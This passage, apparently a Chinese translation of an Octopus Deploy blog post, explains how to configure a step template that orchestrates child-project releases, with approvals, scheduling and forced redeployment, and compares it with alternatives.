- 源环境名称:源环境的名称。如果留空，步骤模板将查看渠道的生命周期，确定目标环境处于哪个阶段，然后查找之前的环境。Octopus Deploy 生命周期在一个阶段可以有 1 到 N 个环境。如果发布必须来自特定的源环境，请输入特定的环境。我建议您将此留空。
- 子项目提示变量:为子项目提供提示变量值。
- 强制重新部署:这告诉步骤模板要么重新部署一个发布，要么跳过它(如果它已经被部署的话)。如果您为父项目配置了一个部署目标触发器，那么您会希望将值更改为
When deploying to specific machines。否则就让它保持原样。 - 忽略特定机器不匹配:这仅在您部署到特定机器时才会考虑，这种情况会在部署目标触发时发生。这一步将确定子项目是否与这些机器中的任何一个相关联，并在找不到匹配时退出。我建议保持现状，除非有特殊的原因需要改变。
- 将发布说明保存为工件:step 模板将从子项目中提取所有的发布说明和构建信息，并将其保存在输出变量
ReleaseNotes中。部署后不容易访问输出变量。如果您想要在父项目中持久化收集的发行说明，将它设置为Yes。 - What If :告诉步骤模板做除部署之外的所有事情。设置为
Yes以在实际部署前批准发布。 - 等待完成:等待展开完成后再继续。将假设参数设置为
Yes将导致该参数被忽略。 - 等待部署:步骤模板等待部署完成的最长时间。超过超时时间后，子项目的部署将被取消。如果部署在限制之前完成，它将停止等待。将该参数保持在 1800 秒(30 分钟)，除非有令人信服的理由改变它。
- 计划:允许您计划将来的部署。使用日期时间。TryParse 解析日期。我建议将它与一个提示变量一起使用。
- 自动批准子项目手动干预:这使用父项目的手动干预批准来进行子项目的手动干预。
- 审批环境:父项目人工干预所在环境的名称。默认为当前环境。如果您正在实施“生产批准”环境，请更改此设置。
- 审批租户:父项目人工干预所在租户的名称。默认为当前租户。如果您正在为单个租户实施“生产审批”环境，请更改。
使用部署子 Octopus 部署项目步骤模板
本节将介绍如何为不同的场景配置步骤模板。这些场景从简单开始，然后慢慢增加更多的功能。
脚手架
首先，需要配置一些脚手架。
创建服务帐户
我们必须创建一个服务帐户，并将该帐户分配给一个团队。这是因为步骤模板使用了 Octopus Deploy API。
我建议将服务帐户命名为Release Conductor。
为用户创建一个 API 密钥，并将其保存在安全的位置。
创建一个名为Release Management的新团队，并将该用户分配给它。
给团队分配角色Deployment Creator、Project Viewer和Environment Viewer。分配这些角色将允许服务帐户创建部署并查看项目和环境，但不能编辑它们。
如果您想要利用自动批准功能，那么在子项目中进行每个手动干预，并添加发布管理团队。
创造独特的生命周期
父项目只需要部署到暂存和生产。不要使用包含所有四种环境的默认生命周期。创建一个新的生命周期，只包括准备和生产。
父项目和子项目的生命周期和渠道不需要匹配。步骤模板将决定从子项目中选择的发布是否可以升级到目标环境。
【T2 
创建项目
接下来，我们创建项目。创建项目时，请记住选择您在上面创建的新生命周期。
创建项目后，导航到 variables 屏幕，添加 API 键和发布模式。
场景:将最新版本从测试部署到试运行
在这个场景中，我们将回到示例应用程序。如果您还记得，发布2021.1.0已经准备好从测试部署到准备。
转到新创建的发布编排项目中的部署流程，并为每个子项目添加一个Deploy Child Octopus Deploy Project步骤。
您可以将参数的大部分值保留为默认值。现在只更改以下内容:
- Octopus API Key:API Key 变量，
#{Project.ChildProjects.ReleaseAPIKey} - 子项目名称:子项目的名称。
- 子项目发布号:发布模式变量，
#{Project.ChildProjects.ReleasePattern}
在添加和配置这些步骤之后，是时候创建一个发布了。
在本文中，我将对父项目进行许多修改；你可能会看到2021.1.0-RCx的版本号。
等待部署完成所有子项目的部署。
场景:仅父项目中的审批
部署到暂存区非常简单，因为不需要批准。
部署到生产更加复杂。这个新步骤模板的一个关键特性是使用父项目的批准来自动批准子项目。
要对此进行配置，您需要克隆这四个步骤。点击每个步骤旁边的溢出菜单(三个垂直省略号)并点击克隆按钮，即可完成克隆。
重命名每个克隆的步骤。克隆步骤中的参数是:
- 将发行说明保存为工件:设置为
Yes。 - 如果怎么办:设置为
Yes。
最后，点击按名称过滤文本框旁边的溢出菜单(三个垂直省略号)重新排序步骤，并点击重新排序。
将所有设置为“假设”的步骤移到“非假设”步骤之上。
接下来，添加手动干预步骤。手动干预步骤的特征之一是指令。新的步骤模板将设置我们可以访问的输出变量。例如:
Please approve releases for:
**Database: #{Octopus.Action[Get Database Release].Output.ReleaseToPromote}**
#{Octopus.Action[Get Database Release].Output.ReleaseNotes}
**Web API: #{Octopus.Action[Get Web API Release].Output.ReleaseToPromote}**
#{Octopus.Action[Get Web API Release].Output.ReleaseNotes}
**Scheduling Service: #{Octopus.Action[Get Scheduling Service Release].Output.ReleaseToPromote}**
#{Octopus.Action[Get Scheduling Service Release].Output.ReleaseNotes}
**Web UI: #{Octopus.Action[Get Web UI Release].Output.ReleaseToPromote}**
#{Octopus.Action[Get Web UI Release].Output.ReleaseNotes}
我喜欢避免重复劳动。让我们把它作为一个变量。
现在为每个审批者组添加一个手动干预。
再次对部署流程进行重新排序，使新步骤介于“假设”步骤和“非假设”步骤之间。
接下来，创建一个新的版本，并将其部署到 Staging 。
当您部署到 Staging 时，您将看到此消息。这是意料之中的，尤其是对于这个示例项目。重新部署参数被设置为No，我们还没有创建任何新的版本。
促进发布到生产。在此部署过程中，您将看到手动干预和自动批准在起作用。
首先，手动干预应该有随发行说明一起部署的版本。
在每个组都批准发布之后，部署将开始。如果与 API 相关联的用户没有获得手动干预所有权的权限，您将会看到这样的警告。
您将有 30 分钟的时间来解决此问题，否则部署将被取消。
修复之后，您应该会在子项目中看到类似如下的消息:
至此，生产发布完成。
场景:今天批准，明天部署
对于我们的许多用户来说，部署是在非工作时间进行的。如果批准者的唯一任务是批准部署，则他们在部署期间不必在线。理想情况下，部署应该在非工作时间自动运行，无需用户干预，并在出现问题时提醒相关人员。我们可以通过添加一个产品批准环境来完成该功能，该环境位于准备和生产之间。这个环境将只用于父项目。
首先，添加产品批准环境。您会注意到这个环境位于本页上的暂存和生产之间。我单击溢出菜单来重新排序该页面上的环境。
添加新环境后，更新此父项目使用的生命周期。
关注默认生命周期。默认情况下，生命周期没有明确定义的阶段。相反，它使用整个环境列表自动生成阶段。要从默认生命周期中删除产品批准，您需要添加显式阶段。
接下来，更新批准步骤，使其仅在产品批准环境中运行。同时，配置非假设步骤以跳过生产审批环境。
接下来，导航到变量屏幕并添加两个新变量:
- 项目。child project . Approval . environment . name:存储 Prod Approval 环境名。
- 项目。child project . deployment . environment . name:存储子项目应该部署到的环境的名称。对于除产品批准之外的所有环境，该名称将与当前环境相匹配。当它在产品批准环境中运行时，部署环境名为生产。
进入执行Deploy Child Octopus Deploy Project的每个步骤，并更新以下参数:
- 目的地环境名称:更新为
#{Project.ChildProject.Deployment.Environment.Name} - 审批环境:更新至
#{Project.ChildProject.Approval.Environment.Name}
这告诉步骤模板在生产部署期间从生产审批环境而不是生产环境中获取审批。这意味着我们可以在上午 11 点批准，并安排在下午 7 点部署。
现在，让我们来看看实际情况。对于示例应用程序，让我们假设在 API 和数据库中发现了一个 bug。创建一个补丁2021.1.1.1来修复这个错误，并部署到开发和测试。
让我们假设一切都成功通过了 QA，是时候将这两个组件提升到 Staging 了。
首先，我们希望将发布模式更新为2021.1.*。你会注意到它不是2021.1.1.*。仔细想想，只有在创建新的次要版本时才进行更新才有意义，而不是对每个补丁版本都进行更新。它不会重新部署现有的代码，因为步骤模板将跳过已经部署的版本。
接下来，为发布编排项目创建一个新的发布，并将其部署到 Staging 。
将发布提交给 Prod Approval 并完成每个批准步骤。您会注意到，对于已经部署的版本，批准消息略有不同。
现在是时候安排发布部署到生产了。使用内置工具，我们可以安排它在今晚 7 点运行。
当发布被部署时，它将从产品批准环境中获取批准。
场景:按需重新部署
默认情况下，步骤模板将跳过任何已经部署到目标环境中的版本。对于许多用例来说，这是首选行为。但是，有几个需要重新部署的用例。其中包括:
- 环境刷新:当从生产中刷新登台环境时，将最新的代码重新部署到登台以获取最新的位进行测试是有意义的。
- 服务器重置:如果其中一个服务器遇到问题，解决方案是重新部署，以确保所有代码和配置值都是最新的。
- 新服务器:如果一个新的服务器被添加到网络场中，重新部署一切以确保网络场在所有节点上具有相同的代码和配置。
为此，我们将使用 Octopus Deploy 的提示变量功能。
首先，我们将向项目添加一个新变量:
- 名称:
Project.ChildProject.ForceRedeployment - 默认值:
No - 标签:
Force Redeployment - 控制类型:下拉列表
- 选项:
Yes和No
接下来，更新强制重新部署参数以使用这个新变量。
现在，当您进行部署时，系统会提示您强制重新部署。默认为No，如果用户不做任何更改，将使用默认功能。
当它被设置为Yes时，您将看到所有的子项目都被重新部署。
目前，提示变量使重新部署全部或没有。您可能希望每个组件项目都有一个唯一的变量，或者将它们逻辑地组合在一起。
可供选择的事物
你可能认为这很复杂，但我相信这是有益的。让我们重新检查一下为什么您可能希望每个组件都有一个项目:
- 通过仅部署已更改的内容，最大限度地减少停机时间。
- 通过只构建已更改的内容来最小化构建时间。
- 尽量减少一个人必须做出的决定。
- 单一责任原则；每个项目都尽其所能部署一件事情。
此时，每个组件一个 Octopus 项目是满足这些要求的最佳解决方案。
每个组件都有项目的替代方案。本节将介绍这些备选方案，以便更好地理解为什么每个组件一个 Octopus 项目最有效地解决了这个问题。
具有多个频道的单个项目
可以有一个单独的项目，并使用 Octopus Deploy channels 特性和范围步骤在特定的通道上运行。创建发行版时会选择频道。通常，版本由构建服务器创建，并自动部署到开发环境中。
第一个问题是所有可能的组件组合。对于四个分量，将有 15 个通道:
- WebUI
- WebAPI
- 数据库ˌ资料库
- 服务
- WebUI WebAPI
- WebUI 数据库
- WebUI 服务
- WebAPI 数据库
- WebAPI 服务
- 服务数据库
- WebUI WebAPI 数据库
- WebUI WebAPI 服务
- WebAPI 服务数据库
- WebUI 服务数据库
- WebUI WebAPI 数据库服务
增加第五个组件将意味着 36 个通道。第六个分量意味着 63 个通道。如此所示，每个组件组合的通道不可扩展。
第二个问题是当一个版本被创建时，某些人或某些事必须决定使用哪个通道。做出错误的决策会导致部署错误的组件，从而导致人为错误。
部署时带有禁用步骤的单个项目
另一种方法是使用单个项目，但是不使用通道，而是禁用部署屏幕上的步骤。
此选项的主要问题是涉及到手动过程。必须有人选择禁用哪些步骤。步骤越多，出错的机会就越大，并且在每次部署期间必须禁用这些步骤，这进一步增加了出错的机会。
项目包重新部署设置
在项目设置页面中有一个包重新部署选项。你可以把它设置为Skip any package that is already installed。
这种设置有几个障碍:
- 通常，部署不仅仅是推出一个包。还有其他步骤来配置数据库或网络服务器。也许有一些步骤可以在部署之后运行健全性检查测试。该设置仅适用于部署包步骤，不适用于任何脚本步骤。
- 该设置适用于部署过程中的所有包。您不能选择应用该设置的包。
- 该设置不适用于回滚或重新部署。它会导致包在错误的时间被跳过。
结论
虽然这个过程感觉很复杂，但我相信这是值得努力的。
部署需要时间，即使使用最好的机器和最快的连接。部署时间也因应用程序而异。一些应用程序部署可能需要超过 12 个小时，其中大部分时间由一两个组件负责。有些部署必须在半夜进行，因为那是唯一允许停机的时间。除非我们能够通过跳过没有变化的组件来找到最大限度减少停机时间的方法，否则进行更频繁部署的机会就会减少。
我希望这个新的步骤模板能够解决您遇到的一些发布管理问题，并使未来的部署更加可靠。
愉快的部署！
本系列还有两个指南:
